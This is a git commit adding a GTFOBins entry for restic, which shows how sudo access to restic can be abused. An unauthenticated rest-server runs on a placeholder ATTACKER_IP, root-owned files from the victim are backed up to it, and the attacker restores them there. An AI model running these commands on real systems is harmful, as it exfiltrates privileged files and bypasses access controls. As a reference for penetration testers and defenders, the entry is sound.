Add restic.md

master
PreethamBomma 2020-04-06 22:20:51 +05:30 committed by Andrea Cardaci
parent 3310197fbc
commit b2a2b3a5f0
1 changed files with 18 additions and 0 deletions

18
_gtfobins/restic.md Normal file
View File

@ -0,0 +1,18 @@
---
functions:
sudo:
- description: Restic can be used to backup files. Run the commands in the sequence given below.
code: |
<!-- Attacker Machine -->
rest-server --no-auth --listen http://ATTACKER_IP:PORT
<!-- Victim Machine -->
TARGET=rest_repository
BACKUP=file_or_directory_to_backup
sudo restic init -r rest:http://ATTACKER_IP:PORT/$TARGET
sudo restic backup -r rest:http://ATTACKER_IP:PORT/$TARGET $BACKUP
<!-- Attacker Machine -->
TARGET=rest_repository
DESTINATION=backup_to_restore
mkdir /tmp/restic/$DESTINATION
restic restore -r /tmp/restic/$TARGET latest --target /tmp/restic/$DESTINATION
---